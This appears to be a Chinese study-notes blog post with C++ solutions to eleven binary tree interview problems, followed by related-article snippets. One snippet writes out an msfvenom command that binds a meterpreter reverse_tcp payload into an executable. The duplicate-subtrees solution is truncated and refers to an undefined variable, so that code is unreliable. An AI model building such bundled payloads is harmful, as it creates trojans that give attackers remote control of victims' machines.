codetop标签树刷题(三)!!暴打面试官!!!!

news2024/11/29 0:43:22

用于个人复习

  • 1.子结构判断
  • 2.寻找重复的子树
  • 3.相同的树
  • 4.平衡二叉树
  • 5.二叉树展开为链表
  • 6.将二叉搜索树转化为排序的双向链表
  • 7.验证二叉搜索树
  • 8.二叉树的完全性检验
  • 9.完成二叉树的节点个数
  • 10.删除二叉搜索树中的节点
  • 11.寻找二叉树中的目标节点

1.子结构判断

给定两棵二叉树 tree1 和 tree2,判断 tree2 是否以 tree1 的某个节点为根的子树具有 相同的结构和节点值
注意,空树 不会是以 tree1 的某个节点为根的子树具有 相同的结构和节点值
在这里插入图片描述
空树是任何树的子结构

class Solution {
     
public:
    bool isSubStructure(TreeNode* A, TreeNode* B) {
        if(A == nullptr || B == nullptr) return false;

        // 对于树A中的一个节点,如果A->val == B->val, 则A可以作为更节点去尝试匹配
        if(A->val == B->val && compareTree(A, B)) return true;
        return isSubStructure(A->left, B) || isSubStructure(A->right, B);
    }
    bool compareTree(TreeNode* rootA, TreeNode* rootB){
        if(rootB == nullptr) return true;
        if(rootA == nullptr && rootB != nullptr) return false;
        if(rootA->val != rootB->val) return false;

        return compareTree(rootA->left, rootB->left) && compareTree(rootA->right, rootB->right);
    }
};

2.寻找重复的子树

给你一棵二叉树的根节点root,返回所有重复的子树。
对于同一类的重复子树,你只需要返回其中任意 一棵 的根结点即可。
如果两棵树具有 相同的结构 和 相同的结点值 ,则认为二者是 重复 的。
在这里插入图片描述
将二叉树序列化的形式,建立哈希表,统计每次出现的次数,添加到结果集当中

class Solution {
public:
    vector<TreeNode*> findDuplicateSubtrees(TreeNode* root) {
    	vector<TreeNode*> res;
    	unordered_map<string, int> mp;
    	helper(root, res, mp);
    	return res;
    }
    string helper(TreeNode* root, vector<TreeNode*>& res, unordered_map<string, int>& mp){
    	string str;
    	if(!root) return "#";
    	str = to_string(root->val) + ' ' + helper(root->left,result,mp) + ' '+helper(root->right,result,mp);
    	

3.相同的树

编写一个函数,用来检验两棵树是否相同。

class Solution {
public:
    bool isSameTree(TreeNode* p, TreeNode* q) {
    	if(p == nullptr && q == nullptr) return true;
    	if(p == nullptr || q == nullptr) return false;
    	if(p->val != q->val) return false;
    	return isSameTree(p->left, q->left) && isSameTree(p->right, q->right);
    }
};

4.平衡二叉树

给一个二叉树,判断他是不是平衡的

左右子树高度差不超过1就行
计算一次最大深度,计算的过程中在后序位置判断二叉树是否平衡

class Solution {
private:
    bool isBalancedTree = true;
    int maxDepth(TreeNode* root){
        if(root == nullptr) return 0;
        int leftMaxDepth = maxDepth(root->left);
        int rightMaxDepth = maxDepth(root->right);

        if(abs(rightMaxDepth - leftMaxDepth) > 1) isBalancedTree = false;

        return 1 + max(leftMaxDepth, rightMaxDepth);
    }
public:
    bool isBalanced(TreeNode* root) {
        maxDepth(root);
        return isBalancedTree;
    }
};

5.二叉树展开为链表

在这里插入图片描述

class Solution {
public:
    void flatten(TreeNode* root) {
        if(root == nullptr) return;
        
        flatten(root->left);
        flatten(root->right);

        //后序位置
        //1.左右子树已经被拉平成一条链表
        TreeNode* left = root->left;
        TreeNode* right = root->right;
        
        //2.将左子树作为右子树
        root->left = nullptr;
        root->right = left;

        //3.将原先的右子树接到当前右子树的末端
        TreeNode* p = root;
        while(p->right != nullptr) p = p->right;
        p->right = right;
    }
};

6.将二叉搜索树转化为排序的双向链表

将一个 二叉搜索树 就地转化为一个 已排序的双向循环链表
对于双向循环列表,你可以将左右孩子指针作为双向循环链表的前驱和后继指针,第一个节点的前驱是最后一个节点,最后一个节点的后继是第一个节点
特别地,我们希望可以 就地 完成转换操作。当转化完成以后,树中节点的左指针需要指向前驱,树中节点的右指针需要指向后继。还需要返回链表中最小元素的指针
在这里插入图片描述
中序线索化的变型

  1. 使用队列,将二叉搜索树通过中序遍历的方式,依次将节点放入队列中。由于二叉搜索树的特性,通过中序遍历得到的序列是递增的。因此,放入队列中的节点顺序就是转换后双向链表的顺序。
  2. 从队列中弹出节点,将弹出的节点与前一个节点(pre)进行连接。具体的操作是:将当前节点(cur)的左子节点指针指向前一个节点(pre),将前一个节点的右子节点指针指向当前节点。然后,更新前一个节点为当前节点。
  3. 当队列为空时,说明所有节点都已经处理完毕。此时,需要将头节点和尾节点进行连接,形成一个环形双向链表。
  4. 返回头节点。
    双向链表需要定义两个变量cur和pre,关系如下
    在这里插入图片描述
class Solution {
public:
    TreeNode* treeToDoublyList(TreeNode* root) {
        if (!root) return nullptr;

        queue<Node*> queue;
        inorderTraversal(root, queue); // Step 1: In-order traversal to fill the queue

        Node* head = nullptr;
        Node* pre = nullptr;

        // Step 2: Re-link nodes in double linked list style
        while (!queue.empty()) {
            Node* cur = queue.front();
            queue.pop();
            if (!head) {
                head = cur; // the smallest element becomes head
            }
            if (pre) {
                pre->right = cur;
                cur->left = pre;
            }
            pre = cur; // update pre to current
        }

        // Step 3: Make the list circular
        pre->right = head;
        head->left = pre;

        return head;
    }

private:
    void inorderTraversal(Node* node, queue<Node*>& queue) {
        if (!node) return;
        inorderTraversal(node->left, queue);
        queue.push(node);
        inorderTraversal(node->right, queue);
    }
};

7.验证二叉搜索树

给你一个二叉树的根节点 root ,判断其是否是一个有效的二叉搜索树。

有效 二叉搜索树定义如下:

  • 节点的左子树只包含 小于 当前节点的数。
  • 节点的右子树只包含 大于 当前节点的数。
  • 所有左子树和右子树自身必须也是二叉搜索树。

初学者做这题很容易有误区:BST 不是左小右大么,那我只要检查 root.val > root.left.val 且 root.val < root.right.val 不就行了?
因为 BST 左小右大的特性是指 root.val 要比左子树的所有节点都更大,要比右子树的所有节点都小,你只检查左右两个子节点当然是不够的。
正确解法是通过使用辅助函数,增加函数参数列表,在参数中携带额外信息,将这种约束传递给子树的所有节点,这也是二叉搜索树算法的一个小技巧吧。

class Solution {
public:
    bool isValidBST(TreeNode* root) {   
        return checkBST(root, nullptr, nullptr);
    }
    bool checkBST(TreeNode* root, TreeNode* min, TreeNode* max){
        if(root == nullptr) return true;
        if(min != nullptr && root->val <= min->val) return false;
        if(max != nullptr && root->val >= max->val) return false;
        return checkBST(root->left, min, root) && checkBST(root->right, root, max); 
    }
};

8.二叉树的完全性检验

给你一棵二叉树的根节点root,请你判断这棵树是否是一棵完全二叉树。
在这里插入图片描述
条件:

  • 除了最后一层,每一层都被完全填满
  • 最后一层中的所有节点都尽可能靠左。
    在这里插入图片描述
    如果按照 BFS 层序遍历的方式遍历完全二叉树,队列最后留下的应该都是空指针
class Solution {
public:
    bool endNull = false;
    bool isCompleteTree(TreeNode* root) {
        //BFS检验
        queue<TreeNode*> q;
        q.push(root);
        while(!q.empty()){
            int size = q.size();
            for(int i = 0; i < size; i ++){
                TreeNode* cur = q.front();
                q.pop();
                if(cur == nullptr) endNull = true;
                else{
                    if(endNull) return false;
                    q.push(cur->left);// 在else里面,不能写在外面,cur为空的时候不用继续加入新节点
                    q.push(cur->right);
                }
            }
        }
        return true;
    }
}; 		

9.完成二叉树的节点个数

给你一棵完全二叉树的根节点root,求出该树的节点个数。

一棵完全二叉树,至少有一棵是满二叉树
计算满二叉树的节点个数不用一个个节点去数,可以直接通过树高算出来,这也是这道题提高效率的关键点。

class Solution {
public:
    int countNodes(TreeNode* root) {
    	TreeNode* l = root;
    	TreeNode* r = root;
    	int heightL = 0, heightR = 0;
    	while(l != nullptr){
    		l = l->left;
    		heightL ++;
    	}
    	while(r != nullptr){
            r = r->right;
            heightR ++;
        }
        if(heightL == heightR) return (int)pow(2, heightL) - 1;
        return countNodes(root->left) + countNodes(root->right) + 1;
    }
};

10.删除二叉搜索树中的节点

给定一个二叉搜索树的根节点root和一个值key,删除二叉搜索树中的 key 对应的节点,并保证二叉搜索树的性质不变。返回二叉搜索树(有可能被更新)的根节点的引用。

  1. A刚好是末端节点,两个子节点都为空,那么可以直接删除
  2. A只有一个非空子节点,那么需要让这个孩子接替自己的位置
  3. A有两子节点,为了不破坏BST的性质,A必须找到左子树中最大的节点或者是右子树中最小的节点来接替自己
class Solution {
public:
    TreeNode* deleteNode(TreeNode* root, int key) {
        if(root == nullptr) return nullptr;
        if(root->val == key){
            // 情况12
            if(root->left == nullptr) return root->right;
            if(root->right == nullptr) return root->left;
            
            //情况3
            // 找到
            TreeNode* minNode = getMin(root->right);
            // 删除
            root->right = deleteNode(root->right, minNode->val);
            // 替换
            minNode->left = root->left;
            minNode->right = root->right;
            root = minNode;
        }
        else if(root->val > key) root->left = deleteNode(root->left, key);
        else if(root->val < key) root->right = deleteNode(root->right, key);
        return root;
    }
    TreeNode* getMin(TreeNode* node){
        while(node->left != nullptr) node = node->left;
        return node;

    }
};

11.寻找二叉树中的目标节点

某公司组织架构以二叉搜索树形式记录,请返回第cnt大的员工编号。

class Solution {
private:
    int res = 0;
    int rank = 0;
    void traverse(TreeNode* root, int cnt){
        if(root == nullptr) return;
        traverse(root->right, cnt);
        rank++;
        if(cnt == rank){
            res = root->val;
            return;
        }
        traverse(root->left, cnt);
    }

public:

    int findTargetNode(TreeNode* root, int cnt) {
        traverse(root, cnt);
        return res;

    }
};

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2192135.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Libtorch学习之Libtorch-VS2019-图像分割程序

文章目录 环境说明Pytorch 序列化Libtorch 下载VS配置主程序可能遇到的问题参考 环境说明 win10 VS2019 OPENCV4.7.0 Litorch1.13 Pytorch 1.12.1 Pytorch 序列化 import torch from torchvision.models import resnet50 net resnet50(pretrainedTrue) net net.cuda() net…

提升开机速度:有效管理Windows电脑自启动项,打开、关闭自启动项教程分享

日常使用Windows电脑时&#xff0c;总会需要下载各种各样的办公软件。部分软件会默认开机自启功能&#xff0c;开机启动项是指那些在电脑启动时自动运行的程序和服务。电脑开机自启太多的情况下会导致电脑卡顿&#xff0c;开机慢&#xff0c;运行不流畅的情况出现&#xff0c;而…

如何从计算机的硬盘中恢复照片 - 成功

如何从计算机硬盘恢复图片&#xff1f; 与所有电子和机械设备一样&#xff0c;硬盘驱动器也可能由于任何原因而死机。如果您的系统硬盘驱动器已停止工作或在启动系统时听到振动声&#xff0c;则它有可能已死机。如果是这样的话&#xff0c;上面的数据呢&#xff1f; 不要惊慌…

十二、血条UI

一、制作血条UI 注&#xff1a;一般不用Slider制作血条&#xff1b;而是用两个Image制作&#xff0c;选择为填充 使用Slider滑动条制作UI 人物血条&#xff1a;背景深绿色&#xff1b;滑条浅绿色 在场景中的画布选择为OverLay 敌人血条&#xff1a; 在预制体里面制作&#x…

自动驾驶系列—自动驾驶背后的数据通道:通信总线技术详解与应用场景分析

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…

最具有世界影响力的人颜廷利:全球著名哲学家思想家起名大师

颜廷利教授&#xff0c;这位源自济南唐王镇的杰出人物&#xff0c;不仅是中国当代最杰出的国学大师之一&#xff0c;更是将传统文化与现代科技巧妙结合的先锋。他积极推崇以人工智能技术为辅助的国学研究方法&#xff0c;为这一古老领域注入了新的活力和时代表达。 除了在学术…

【LeetCode】每日一题 2024_10_6 加油站(贪心)

前言 每天和你一起刷 LeetCode 每日一题~ 大家国庆节快乐呀~ LeetCode 启动&#xff01; 国庆第 6 天&#xff0c;在加油站 . . . 题目&#xff1a;加油站 代码与解题思路 今天这道题目是力扣上的经典贪心&#xff08;第 134 题&#xff09; func canCompleteCircuit(gas…

springboot中配置优先级

先来看在idea当中运行程序时&#xff0c;如何来指定Java系统属性和命令行参数。 系统属性 1、右键启动类&#xff0c;点击Edit Configuration 点击Modify options 选择Add VM options&#xff0c;就是系统属性 选择Program arguements&#xff0c;就是命令行参数 总结&#…

排查和解决JVM OOM实战

JVM OOM介绍 Java内存区域布局 下面的分析中都是基于JDK 8开始的。关于JMM不过多介绍每个区域的作用。OOM不单只会发生在堆内存&#xff0c;也可能是因为元空间或直接内存泄漏导致OOM&#xff0c;此时在OOM的详细信息中会有不同体现。 Java OOM的类别 java.lang.OutOfMemory…

CSS 布局——清除浮动 (二)

目录 1. 清除浮动 2. 清除浮动本质 3. 清除浮动 4. 清除浮动方法 4.1 额外标签法 4.1.1 总结 4.2 父级添加 overflow 4.3 after 伪元素法 4.4 双伪元素清除浮动 5 总结 1. 清除浮动 这是上面的源代码&#xff1a; <!DOCTYPE html> <html lang"en"&…

飞书消息转发

飞书是字节跳动开发的一个款即时通讯软件 不同与微信和钉钉&#xff0c;飞书是基于Electron的跨平台桌面客户端&#xff08;主要开发语言是JavaScript&#xff09;&#xff0c;程序运行在chrom内核中&#xff0c;所以HOOK方案不好使 针对Electron 框架&#xff0c;打包后的应用…

京东e卡滑块 分析

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; 有相关问题请第一时间头像私信联系我删…

AI2.0时代,普通小白如何通过AI月入30万

最近这2年AI真的太火了&#xff0c;很多人都在讨论怎么用AI赚钱、提高效率。其实&#xff0c;我觉得AI并没有那么复杂&#xff0c;尤其是如果你不做AI底层研究&#xff0c;只是利用它来帮你省事、提效、赚钱&#xff0c;那就像当初学用电脑、用手机一样简单。你不需要懂AI的技术…

《数据结构》--栈【概念应用、图文并茂】

本节讲完栈下次再讲一下队列&#xff0c;最后补充一个串&#xff0c;我们的线性结构基本就完事了。下图中黄色框框圈中的是我们今日份内容(分为两篇博客)&#xff1a; 知识体系图 栈(Stack-LIFO)结构 栈的基础概念 栈(Stack)是一个后进先出(Last-In-First-Out)的一个特殊数据…

【Linux的那些事】shell命名及Linux权限的理解

目录 一、shell命令以及运行原理 二、Linux权限的概念 三、Linux权限管理 3.1.文件访问者的分类&#xff08;人&#xff09; 3.2.文件类型和访问权限&#xff08;事物属性&#xff09; 3.3.文件权限值的表示方法 3.4.文件访问权限的相关设置方法 a)chmod b)chown c)…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

在线教育的未来:SpringBoot技术实现

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理微服务在线教育系统的相关信息成为必然。开…

二进制的神奇操作——拆位法和贡献思想

拆位的引入 我们来思考这么一个问题&#xff0c;如果给你一个数组&#xff0c;让你去求一个数组里面所有连续子串的异或和的和&#xff0c;问你该怎么求&#xff1f; 我们该如何去处理&#xff0c;首先肯定是会想到暴力的思路&#xff0c;第一层循环遍历左端点&#xff0c;第…

算法闭关修炼百题计划(三)

减轻复习压力&#xff0c;一篇只有十题左右 1.反转链表II2.LRU缓存3.合并区间4.快速排序5.数字中的第k个最大元素6.归并排序7.每种字符至少取k个8.螺旋矩阵II9.旋转图像10.删除数组中重复的元素II 1.反转链表II 给你单链表的头指针 head 和两个整数 left 和 right &#xff0c…

洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载

一、前言 【试用版软件下载可点击本文章最下方官网卡片】 洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载 洗车管理软件应用是洗车业务的得力助手&#xff0c;实现会员管理及数据统计一体化&#xff0c;助力店铺高效、有序运营。 洗车项…